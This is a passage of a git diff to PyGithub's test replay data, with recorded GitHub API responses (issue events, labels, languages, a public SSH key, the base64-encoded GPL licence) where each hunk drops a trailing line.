interface","color":"d7e102"}],"created_at":"2012-04-30T20:01:20Z","state":"open","user":{"url":"https://api.github.com/users/roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","id":328726},"id":4356743,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/24"},"commit_id":null,"created_at":"2012-04-30T20:01:20Z","event":"subscribed","id":14466693,"actor":{"url":"https://api.github.com/users/roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","id":328726}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/13988647","issue":{"updated_at":"2012-04-23T20:23:29Z","body":"This is probably user error (I don't really know what I'm doing) but if I execute ```repo.get_download(1)``` or ```repo.get_download('foobar')``` (I'm not sure what the proper id for a download is), I get the following error trace:\r\n\r\n Traceback (most recent call last):\r\n File \"/Applications/WingIDE.app/Contents/MacOS/src/debug/tserver/_sandbox.py\", line 1, in \r\n # Used internally for debug sandbox under external interpreter\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 77, in \r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/List.py\", line 114, in __execute\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/TypePolicies.py\", line 25, in createNonLazy\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 73, in __init__\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 103, in __fetchAttribute\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/Basic.py\", line 62, in updateAttributes\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Github.py\", line 10, in _dataRequest\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Requester.py\", line 17, in dataRequest\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Requester.py\", line 39, in __statusCheckedRequest\r\n github.Requester.UnknownGithubObject:\r\n\r\nAlso possibly related: ```repo.get_download()``` (what weird things users do, eh?) causes a shorter trace ending in Type Error. ","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/23","comments":2,"milestone":null,"number":23,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-04-23T20:23:29Z","title":"UnknownGithubObject on get_download() with invalid key","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-04-17T19:03:44Z","state":"closed","user":{"url":"https://api.github.com/users/tallforasmurf","avatar_url":"https://secure.gravatar.com/avatar/61104afbd871dab22a702e7c1233d573?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"61104afbd871dab22a702e7c1233d573","login":"tallforasmurf","id":1137018},"id":4159230,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/23"},"commit_id":null,"created_at":"2012-04-23T20:23:29Z","event":"closed","id":13988647,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/13600012","issue":{"updated_at":"2012-04-23T20:23:29Z","body":"This is probably user error (I don't really know what I'm doing) but if I execute ```repo.get_download(1)``` or ```repo.get_download('foobar')``` (I'm not sure what the proper id for a download is), I get the following error trace:\r\n\r\n Traceback (most recent call last):\r\n File \"/Applications/WingIDE.app/Contents/MacOS/src/debug/tserver/_sandbox.py\", line 1, in \r\n # Used internally for debug sandbox under external interpreter\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 77, in \r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/List.py\", line 114, in __execute\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/TypePolicies.py\", line 25, in createNonLazy\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 73, in __init__\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 103, in __fetchAttribute\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/Basic.py\", line 62, in updateAttributes\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Github.py\", line 10, in _dataRequest\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Requester.py\", line 17, in dataRequest\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Requester.py\", line 39, in __statusCheckedRequest\r\n github.Requester.UnknownGithubObject:\r\n\r\nAlso possibly related: ```repo.get_download()``` (what weird things users do, eh?) causes a shorter trace ending in Type Error. ","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/23","comments":2,"milestone":null,"number":23,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-04-23T20:23:29Z","title":"UnknownGithubObject on get_download() with invalid key","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-04-17T19:03:44Z","state":"closed","user":{"url":"https://api.github.com/users/tallforasmurf","avatar_url":"https://secure.gravatar.com/avatar/61104afbd871dab22a702e7c1233d573?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"61104afbd871dab22a702e7c1233d573","login":"tallforasmurf","id":1137018},"id":4159230,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/23"},"commit_id":null,"created_at":"2012-04-17T21:10:30Z","event":"assigned","id":13600012,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/13599998","issue":{"updated_at":"2012-04-23T20:23:29Z","body":"This is probably user error (I don't really know what I'm doing) but if I execute ```repo.get_download(1)``` or ```repo.get_download('foobar')``` (I'm not sure what the proper id for a download is), I get the following error trace:\r\n\r\n Traceback (most recent call last):\r\n File \"/Applications/WingIDE.app/Contents/MacOS/src/debug/tserver/_sandbox.py\", line 1, in \r\n # Used internally for debug sandbox under external interpreter\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 77, in \r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/List.py\", line 114, in __execute\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/TypePolicies.py\", line 25, in createNonLazy\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 73, in __init__\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 103, in __fetchAttribute\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/Basic.py\", line 62, in updateAttributes\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Github.py\", line 10, in _dataRequest\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Requester.py\", line 17, in dataRequest\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Requester.py\", line 39, in __statusCheckedRequest\r\n github.Requester.UnknownGithubObject:\r\n\r\nAlso possibly related: ```repo.get_download()``` (what weird things users do, eh?) causes a shorter trace ending in Type Error. ","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/23","comments":2,"milestone":null,"number":23,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-04-23T20:23:29Z","title":"UnknownGithubObject on get_download() with invalid key","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-04-17T19:03:44Z","state":"closed","user":{"url":"https://api.github.com/users/tallforasmurf","avatar_url":"https://secure.gravatar.com/avatar/61104afbd871dab22a702e7c1233d573?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"61104afbd871dab22a702e7c1233d573","login":"tallforasmurf","id":1137018},"id":4159230,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/23"},"commit_id":null,"created_at":"2012-04-17T21:10:15Z","event":"subscribed","id":13599998,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/13589532","issue":{"updated_at":"2012-04-23T20:23:29Z","body":"This is probably user error (I don't really know what I'm doing) but if I execute ```repo.get_download(1)``` or ```repo.get_download('foobar')``` (I'm not sure what the proper id for a download is), I get the following error trace:\r\n\r\n Traceback (most recent call last):\r\n File \"/Applications/WingIDE.app/Contents/MacOS/src/debug/tserver/_sandbox.py\", line 1, in \r\n # Used internally for debug sandbox under external interpreter\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 77, in \r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/List.py\", line 114, in __execute\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/TypePolicies.py\", line 25, in createNonLazy\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 73, in __init__\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/GithubObject.py\", line 103, in __fetchAttribute\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/GithubObjects/GithubObject/Basic.py\", line 62, in updateAttributes\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Github.py\", line 10, in _dataRequest\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Requester.py\", line 17, in dataRequest\r\n File \"/Library/Python/2.6/site-packages/PyGithub-0.6-py2.6.egg/github/Requester.py\", line 39, in __statusCheckedRequest\r\n github.Requester.UnknownGithubObject:\r\n\r\nAlso possibly related: ```repo.get_download()``` (what weird things users do, eh?) causes a shorter trace ending in Type Error. ","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/23","comments":2,"milestone":null,"number":23,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-04-23T20:23:29Z","title":"UnknownGithubObject on get_download() with invalid key","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-04-17T19:03:44Z","state":"closed","user":{"url":"https://api.github.com/users/tallforasmurf","avatar_url":"https://secure.gravatar.com/avatar/61104afbd871dab22a702e7c1233d573?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"61104afbd871dab22a702e7c1233d573","login":"tallforasmurf","id":1137018},"id":4159230,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/23"},"commit_id":null,"created_at":"2012-04-17T19:03:45Z","event":"subscribed","id":13589532,"actor":{"url":"https://api.github.com/users/tallforasmurf","avatar_url":"https://secure.gravatar.com/avatar/61104afbd871dab22a702e7c1233d573?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"61104afbd871dab22a702e7c1233d573","login":"tallforasmurf","id":1137018}}] - diff --git a/tests/ReplayData/Repository.testGetIssuesWithArguments.txt b/tests/ReplayData/Repository.testGetIssuesWithArguments.txt index c1be65c75c..7ff8cb5adc 100644 --- a/tests/ReplayData/Repository.testGetIssuesWithArguments.txt +++ b/tests/ReplayData/Repository.testGetIssuesWithArguments.txt @@ -107,4 +107,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4864'), ('content-length', '2210'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"bf7c5823992799efca0369752072ec8e"'), ('date', 'Tue, 29 May 2012 18:39:46 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-29T18:38:53Z","body":"For example, in `Organization.get_repos( type )`, `type` should be added to the url, as described in http://developer.github.com/v3/repos/#list-organization-repositories","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/36","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","closed_issues":6,"number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":36,"html_url":"https://github.com/jacquev6/PyGithub/issues/36","assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"title":"Re-implement url parameters","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"closed_at":null,"created_at":"2012-05-29T11:33:19Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4793162,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] - diff --git a/tests/ReplayData/Repository.testGetIssuesWithWildcards.txt b/tests/ReplayData/Repository.testGetIssuesWithWildcards.txt index f1ece6cf69..68da667927 100644 --- a/tests/ReplayData/Repository.testGetIssuesWithWildcards.txt +++ b/tests/ReplayData/Repository.testGetIssuesWithWildcards.txt @@ -41,4 +41,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('content-length', '1826'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c087198529310acda2e50d723e071ec8"'), ('date', 'Sat, 02 Jun 2012 06:15:14 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"title":"Publish version 1.0","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"labels":[{"color":"444444","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management"}],"created_at":"2012-03-12T21:58:05Z","state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/9","assignee":null,"closed_at":null,"updated_at":"2012-06-02T06:14:47Z","body":"Check that there is no more `toto`s in code\nCheck that we have 100% test coverage","comments":0,"number":9,"id":3619973,"html_url":"https://github.com/jacquev6/PyGithub/issues/9","milestone":{"title":"Version 1.0: coherent public interface","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","closed_issues":13,"due_on":"2012-06-04T07:00:00Z","open_issues":8,"number":2,"id":93547}}] - diff --git a/tests/ReplayData/Repository.testGetKeys.txt b/tests/ReplayData/Repository.testGetKeys.txt index 7ad28c72b1..18d95949c1 100644 --- a/tests/ReplayData/Repository.testGetKeys.txt +++ b/tests/ReplayData/Repository.testGetKeys.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4947'), ('content-length', '507'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c53f260d8e74caefe7af2efeeda39e98"'), ('date', 'Sun, 27 May 2012 07:04:34 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/user/keys/2626761","verified":true,"key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Mm0RjTNAYFfSCtUpO54usdseroUSIYg5KX4JoseTpqyiB/hqewjYLAdUq/tNIQzrkoEJWSyZrQt0ma7/YCyMYuNGd3DU6q6ZAyBeY3E9RyCiKjO3aTL2VKQGFvBVVmGdxGVSCITRphAcsKc/PF35/fg9XP9S0anMXcEFtdfMHz41SSw+XtE+Vc+6cX9FuI5qUfLGbkv8L1v3g4uw9VXlzq4GfTA+1S7D6mcoGHopAIXFlVr+2RfDKdSURMcB22z41fljO1MW4+zUS/4FyUTpL991es5fcwKXYoiE+x06VJeJJ1Krwx+DZj45uweV6cHXt2JwJEI9fWB6WyBlDejWw==","title":"Key added through PyGithub","id":2626761}] - diff --git a/tests/ReplayData/Repository.testGetLabel.txt b/tests/ReplayData/Repository.testGetLabel.txt index 203d3f83b0..af48e8dfd0 100644 --- a/tests/ReplayData/Repository.testGetLabel.txt +++ b/tests/ReplayData/Repository.testGetLabel.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4983'), ('content-length', '191'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"92b623552b1bac3f019d03c920305acd"'), ('date', 'Sat, 19 May 2012 10:12:54 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+silly+name+%25+%2A+%2B+created+by+PyGithub","name":"Label with silly name % * + created by PyGithub","color":"00ff00"} - diff --git a/tests/ReplayData/Repository.testGetLabels.txt b/tests/ReplayData/Repository.testGetLabels.txt index b5a7d83611..b0f6e1fc69 100644 --- a/tests/ReplayData/Repository.testGetLabels.txt +++ b/tests/ReplayData/Repository.testGetLabels.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4944'), ('content-length', '695'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"a35ac34bf5089a20b90cd0bb34001fa3"'), ('date', 'Sun, 27 May 2012 07:05:48 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Refactoring","name":"Refactoring","color":"0b02e1"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}] - diff --git a/tests/ReplayData/Repository.testGetLanguages.txt b/tests/ReplayData/Repository.testGetLanguages.txt index bce7fe9746..1f79481234 100644 --- a/tests/ReplayData/Repository.testGetLanguages.txt +++ b/tests/ReplayData/Repository.testGetLanguages.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4941'), ('content-length', '29'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7d14a65f22f237036a50f0d982721206"'), ('date', 'Sun, 27 May 2012 07:06:51 GMT'), ('content-type', 'application/json; charset=utf-8')] {"Shell":673,"Python":127266} - diff --git a/tests/ReplayData/Repository.testGetLicense.txt b/tests/ReplayData/Repository.testGetLicense.txt index 2b63e73361..d6e4dd1445 100644 --- a/tests/ReplayData/Repository.testGetLicense.txt +++ b/tests/ReplayData/Repository.testGetLicense.txt @@ -8,4 +8,3 @@ None 200 [('content-length', '49333'), ('x-runtime-rack', '0.046154'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"287707443f87f08e8fb667831bfb6bfd"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4444'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DFA8:6252:EE3AE:13C7DF:5AB32F96'), ('last-modified', 'Wed, 21 Mar 2018 12:50:56 GMT'), ('date', 'Thu, 22 Mar 2018 04:22:46 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1521692964')] {"name":"COPYING","path":"COPYING","sha":"94a9ed024d3859793618152ea559a168bbcbb5e2","size":35147,"url":"https://api.github.com/repos/PyGithub/PyGithub/contents/COPYING?ref=master","html_url":"https://github.com/PyGithub/PyGithub/blob/master/COPYING","git_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/94a9ed024d3859793618152ea559a168bbcbb5e2","download_url":"https://raw.githubusercontent.com/PyGithub/PyGithub/master/COPYING","type":"file","content":"ICAgICAgICAgICAgICAgICAgICBHTlUgR0VORVJBTCBQVUJMSUMgTElDRU5T\nRQogICAgICAgICAgICAgICAgICAgICAgIFZlcnNpb24gMywgMjkgSnVuZSAy\nMDA3CgogQ29weXJpZ2h0IChDKSAyMDA3IEZyZWUgU29mdHdhcmUgRm91bmRh\ndGlvbiwgSW5jLiA8aHR0cDovL2ZzZi5vcmcvPgogRXZlcnlvbmUgaXMgcGVy\nbWl0dGVkIHRvIGNvcHkgYW5kIGRpc3RyaWJ1dGUgdmVyYmF0aW0gY29waWVz\nCiBvZiB0aGlzIGxpY2Vuc2UgZG9jdW1lbnQsIGJ1dCBjaGFuZ2luZyBpdCBp\ncyBub3QgYWxsb3dlZC4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBQ\ncmVhbWJsZQoKICBUaGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgaXMg\nYSBmcmVlLCBjb3B5bGVmdCBsaWNlbnNlIGZvcgpzb2Z0d2FyZSBhbmQgb3Ro\nZXIga2luZHMgb2Ygd29ya3MuCgogIFRoZSBsaWNlbnNlcyBmb3IgbW9zdCBz\nb2Z0d2FyZSBhbmQgb3RoZXIgcHJhY3RpY2FsIHdvcmtzIGFyZSBkZXNpZ25l\nZAp0byB0YWtlIGF3YXkgeW91ciBmcmVlZG9tIHRvIHNoYXJlIGFuZCBjaGFu\nZ2UgdGhlIHdvcmtzLiAgQnkgY29udHJhc3QsCnRoZSBHTlUgR2VuZXJhbCBQ\ndWJsaWMgTGljZW5zZSBpcyBpbnRlbmRlZCB0byBndWFyYW50ZWUgeW91ciBm\ncmVlZG9tIHRvCnNoYXJlIGFuZCBjaGFuZ2UgYWxsIHZlcnNpb25zIG9mIGEg\ncHJvZ3JhbS0tdG8gbWFrZSBzdXJlIGl0IHJlbWFpbnMgZnJlZQpzb2Z0d2Fy\nZSBmb3IgYWxsIGl0cyB1c2Vycy4gIFdlLCB0aGUgRnJlZSBTb2Z0d2FyZSBG\nb3VuZGF0aW9uLCB1c2UgdGhlCkdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNl\nIGZvciBtb3N0IG9mIG91ciBzb2Z0d2FyZTsgaXQgYXBwbGllcyBhbHNvIHRv\nCmFueSBvdGhlciB3b3JrIHJlbGVhc2VkIHRoaXMgd2F5IGJ5IGl0cyBhdXRo\nb3JzLiAgWW91IGNhbiBhcHBseSBpdCB0bwp5b3VyIHByb2dyYW1zLCB0b28u\nCgogIFdoZW4gd2Ugc3BlYWsgb2YgZnJlZSBzb2Z0d2FyZSwgd2UgYXJlIHJl\nZmVycmluZyB0byBmcmVlZG9tLCBub3QKcHJpY2UuICBPdXIgR2VuZXJhbCBQ\ndWJsaWMgTGljZW5zZXMgYXJlIGRlc2lnbmVkIHRvIG1ha2Ugc3VyZSB0aGF0\nIHlvdQpoYXZlIHRoZSBmcmVlZG9tIHRvIGRpc3RyaWJ1dGUgY29waWVzIG9m\nIGZyZWUgc29mdHdhcmUgKGFuZCBjaGFyZ2UgZm9yCnRoZW0gaWYgeW91IHdp\nc2gpLCB0aGF0IHlvdSByZWNlaXZlIHNvdXJjZSBjb2RlIG9yIGNhbiBnZXQg\naXQgaWYgeW91CndhbnQgaXQsIHRoYXQgeW91IGNhbiBjaGFuZ2UgdGhlIHNv\nZnR3YXJlIG9yIHVzZSBwaWVjZXMgb2YgaXQgaW4gbmV3CmZyZWUgcHJvZ3Jh\nbXMsIGFuZCB0aGF0IHlvdSBrbm93IHlvdSBjYW4gZG8gdGhlc2UgdGhpbmdz\nLgoKICBUbyBwcm90ZWN0IHlvdXIgcmlnaHRzLCB3ZSBuZWVkIHRvIHByZXZl\nbnQgb3RoZXJzIGZyb20gZGVueWluZyB5b3UKdGhl